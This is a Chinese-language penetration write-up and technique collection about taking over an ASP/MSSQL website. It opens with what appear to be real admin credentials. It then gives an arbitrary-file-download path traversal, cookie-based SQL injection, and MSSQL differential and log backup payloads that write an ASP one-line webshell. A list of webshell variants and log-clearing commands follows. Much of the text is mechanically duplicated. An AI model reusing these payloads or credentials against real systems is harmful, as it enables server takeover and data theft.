1、网站登录:用户名admin,口令:sq77221650
2、网站任意文件下载漏洞就是在”备份数据“的位置。
点击数据库0825下载按钮后的链接为:GET /backdbchk.asp?datetype=down&dname=0825,所以猜测可以修改dname来达到下载任意文件的目的。
3、构造任意下载语句,来下载程序源代码。
(1)尝试获取网站程序路径。
将下载路径修改为/backdbchk.asp?datetype=down&dname=./backdbchk.asp
结果下载失败,说明构造路径错误。
将下载路径修改为/backdbchk.asp?datetype=down&dname=../backdbchk.asp
结果下载成功,说明数据库保存在backdbchk.asp所在文件的下级目录。
(2)查看下载的程序源码。
————————————————————————————————————————————————————-
上面就是网站的任意下载漏洞,可以下载网站的任意程序文件。现在要获取webshell只通过网站任意下载漏洞是不行的。当然可以使用任意下载漏洞来下载数据库连接文件来获取数据库密码,也可以下载网站程序代码来进行审计来查看是否有其他漏洞。
4、查看数据库备份链接,可以将数据库备份为asp文件
(1)进行数据库备份,查看链接。
看来不用修改数据包,就可以把数据库备份为asp文件,但是现在不知备份数据库文件所在目录。所以需要利用上面的任意下载漏洞来下载文件查看数据库保存路径。
(2)下载backdbchk.asp文件(其实上面已经下载了)
/backdbchk.asp?datetype=down&dname=../backdbchk.asp
可以看到,程序使用的备份语句是:SQL=”backup database “&SqlDatabaseName&” to disk='”&Server.MapPath(“databack”)&”\”&databasename&”‘ with INIT” 。即将备份文件放在databack目录下。
(3)查看备份成asp文件的数据库。
看来网站对数据库进行了特殊构造,防止被通过备份获取webshell。看来现在就算将webshell写到数据库中然后备份成asp文件也不可能获取到webshell了,得想其他办法了。
———————————————————————————————————————————————————————
就在我觉得没戏了,不可能获取webshell的时候,师兄说他成功获取到了webshell,通过数据库差异备份。MSSQL数据库差异备份参考:MSsql差异备份总结http://www.cnblogs.com/noevil/archive/2011/08/20/2147438.html
详细过程如下(还是利用到了上面下载到的备份程序文件):
5、上面通过任意文件下载漏洞下载的程序代码中备份数据库的语句为:SQL=”backup database “&SqlDatabaseName&” to disk='”&Server.MapPath(“databack”)&”\”&databasename&”‘ with INIT” ,而databasename是我们可以修改的,所以可以构造输入来执行特定的数据库语句或多条数据库语句。
(1)MSSQL差异备份的语句为:backup database 库名 to disk=’目标位置\d.asp’ WITH DIFFERENTIAL,FORMAT; ,普通的备份语句为:backup database 库名 to disk = ‘c:\ddd.bak’; 。通过比较可以看出网站程序使用的是普通的备份语句。普通备份语句与差异备份语句的差别是:WITH DIFFERENTIAL,FORMAT。
因此,可以将数据库名改为2.asp’ WITH DIFFERENTIAL,FORMAT;– 来进行绕过。由于数据库名在POST数据中,因此需要将上面构造的语句进行数据库编码,如下:2.asp%27%20%20WITH%20DIFFERENTIAL%2CFORMAT%3B–%20
(2)将.和-也进行编码尝试:2%2easp%27%20%20WITH%20DIFFERENTIAL,FORMAT%3B%2d%2d ,还是不行。尝试
2%2easp%27%20%20WITH%20DIFFERENTIAL%2cFORMAT%3B%2d%2d 也不行。
看来网站是进行防注入了,问了一下师兄,师兄说将databasename放到cookie中就可以了,cookie中没有过滤(哎,我怎么没想到呢)。看来是我没有将源代码仔细看呀:
使用的是request方法获取参数,因此post、get、cookie方式都可以传递参数。
(3)使用cookie进行差异备份。使用语句是1.asp’ WITH DIFFERENTIAL,FORMAT;– 编码后为:1.asp%27%20%20WITH%20DIFFERENTIAL%2CFORMAT%3B–%20
可以看到数据库1.asp变小了,被重新备份的数据覆盖了,说明差异备份成功。
6、既然可以差异备份成功,因此可以按照一般的思路来获取webshell。
(1)先备份以下数据库。
(2)新建数据库表,插入一句话webshell。
(3)差异备份导出为asp文件,获取webshell
如下:
(1)备份一下。
(2)用任意文件下载漏洞,下载数据库连接文件,获取数据库信息。
可以看到数据库名为sq_alcs.
创建表的语句:create table [sq_alcs].[xiao] ([cmd] [image]);
构造语句:1.asp’;create table [sq_alcs].[xiao] ([cmd] [image]);–
url编码后为:1.asp%27%3Bcreate%20table%20%5Bsq_alcs%5D.%5Bxiao%5D%20%28%5Bcmd%5D%20%5Bimage%5D%29%3B–
插入一句话的语句为:insert into xiao(cmd) values(0x3C25657865637574652872657175657374282261222929253E) –即将一句话木马的16进制字符插入到表中,一句话为:<%execute(request(“a”))%>
构造语句:1.asp’;insert into [sq_alcs].[xiao]([cmd]) values(0x3C25657865637574652872657175657374282261222929253E);–
编码后为:1.asp%27%3Binsert%20into%20%5Bsq_alcs%5D.%5Bxiao%5D%28%5Bcmd%5D%29%20values%280x3C25657865637574652872657175657374282261222929253E%29%3B–%20
(在后面过程中证明上面语句有时不成功,如果不成功,执行(4)中语句):
(3)差异备份
语句:1.asp’ WITH DIFFERENTIAL,FORMAT;–
编码后为:1.asp%27%20%20WITH%20DIFFERENTIAL%2CFORMAT%3B–%20
但是,访问asp文件时,还是不能访问,且大小也不对,说明在备份期间原数据库有数据插入。看来插入webshell有误。并且将数据差异备份为txt下载下来也没有一句话。
(4)看来第二步没有插入正确的webshell,看来只能用原始的一句话而不是十六进制的一句话尝试了。
语句:1.asp’;insert into [sq_alcs].xiao(cmd) values(‘<%execute(request(“a”))%>’);–
编码:1.asp%27%3Binsert%20into%20%5Bsq_alcs%5D.xiao%28cmd%29%20values%28%27%3C%25execute%28request%28%22a%22%29%29%25%3E%27%29%3B–
然后进行差异备份,结果如下:
结果还是用菜刀不能连,文件下下来也没找到一句话。
总结:
1、要仔细观察,要仔细。如我没有注意到获取参数的方式是request,因而在POST方式失败的情况下无计可施。
2、任意文件下载漏洞不只是可以下载文件那么简单,通过下载的文件可能发现其他漏洞。
MSsql差异备份总结
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = ‘c:\ddd.bak’;–
2.创建表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);–
3.进行差异备份
backup database 库名 to disk=’目标位置\d.asp’ WITH DIFFERENTIAL,FORMAT;–
backup database 库名 to disk=’目标位置\d.asp’ WITH DIFFERENTIAL,FORMAT;–
上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request(“a”))%>
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request(“a”))%>
如下是网上常见的差异备份代码,思路一样!
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a todisk=@s –备份数据库
create table [dbo].[xiaolu] ([cmd] [image]); — 创建一个表
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E) –将一句话木马的16进制字符插入到表中
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT –对数据库实行差异备份
drop table [xiaolu] — 删除此表。
0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request(“a”))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
0x3C25657865637574652872657175657374282261222929253E是<%execute(request(“a”))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
声明:方法不是我想的,我只是写工具,默认得到shell是
<%execute(request(“a”))%>
===============================================================
<%execute(request(“a”))%>
===============================================================
我发现上面代码,有时会无效,而直接用
backup database 库名 to disk = ‘c:\ddd.bak’
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk=’目标位置\d.asp’ WITH DIFFERENTIAL,FORMAT;–
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 “‘”,就要把字符内容转为数值了!
网上还有log增量备份的,我也把他记录一下
=====================================================
另一种log增量备份技术:
=====================================================
另一种log增量备份技术:
‘;alter database null set RECOVERY FULL–
‘;create table cmd (a image)–
‘;backup log null to disk = ‘f:\cmd’ with init–
‘;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)–
‘;backup log null to disk = ‘备份路径’–
‘;drop table cmd–
‘;alter database XXX set RECOVERY SIMPLE–
PS:0x3C2565786563757465287265717565737428226122292
9253EDA 是一句话小马16进制转来的
9253EDA 是一句话小马16进制转来的
说到一句话马,还可以有这么几种写法:
a)<%%25Execute(request(“a”))%%25>
b)<%Execute(request(“a”))%>
c)%><%execute request(“a”)%><%
d)<script language=VBScript runat=server>execute request(“a”)</script>
e)<%25Execute(request(“a”))%25>
f)<%eval(request(“a”)):response.end%> 备分专用一句话 (也就是插入一句话后所有的代码都无效,在一句话这里打止)
g)”%><%eval (request (chr(309)))%><%'” 网站配置版权信息插马专用一句话
h)<%On Error Resume Next:response.clear:execute request(“value”):response.End%>
I)<%eval request(0)%>
J)”%><%Eval Request(0)%> 网站配置版权信息插马专用一句话
b)<%Execute(request(“a”))%>
c)%><%execute request(“a”)%><%
d)<script language=VBScript runat=server>execute request(“a”)</script>
e)<%25Execute(request(“a”))%25>
f)<%eval(request(“a”)):response.end%> 备分专用一句话 (也就是插入一句话后所有的代码都无效,在一句话这里打止)
g)”%><%eval (request (chr(309)))%><%'” 网站配置版权信息插马专用一句话
h)<%On Error Resume Next:response.clear:execute request(“value”):response.End%>
I)<%eval request(0)%>
J)”%><%Eval Request(0)%> 网站配置版权信息插马专用一句话
=============================================
当遇到差备过滤了/时用这个语句代替
declare @a varchar(1024);set @a=cast(0x65786563206D6D as varchar(1024));exec (@a);–
把要执行的语句转16进制然后用exec执行
减少备份文件大小方法如下:
总的来说就是那么简单几句,下面以备份数据库model为例子
1
id=1;use model create table cmd(str image);insert into cmd(str) values (‘<%25execute(request(“a”))%25>’)
2
id=1;backup database model to disk=’你的路径‘ with differential,format;–
1
id=1;use model create table cmd(str image);insert into cmd(str) values (‘<%25execute(request(“a”))%25>’)
2
id=1;backup database model to disk=’你的路径‘ with differential,format;–
SQL语句清理日志
注:test为数据库名
注:test为数据库名
–清空日志
DUMP TRANSACTION test WITH NO_LOG
DUMP TRANSACTION test WITH NO_LOG
–截断事务日志
BACKUP LOG test WITH NO_LOG
BACKUP LOG test WITH NO_LOG
–收缩数据库
DBCC SHRINKDATABASE(test)
DBCC SHRINKDATABASE(test)
–收缩指定数据文件,1是文件号,可以通过这个语句查询到
Select * from sysfiles DBCC SHRINKFILE(1)
Select * from sysfiles DBCC SHRINKFILE(1)
–以后能自动收缩
EXEC sp_dboption ‘test’, ‘autoshrink’, ‘TRUE’差异备份的流程大概这样
EXEC sp_dboption ‘test’, ‘autoshrink’, ‘TRUE’差异备份的流程大概这样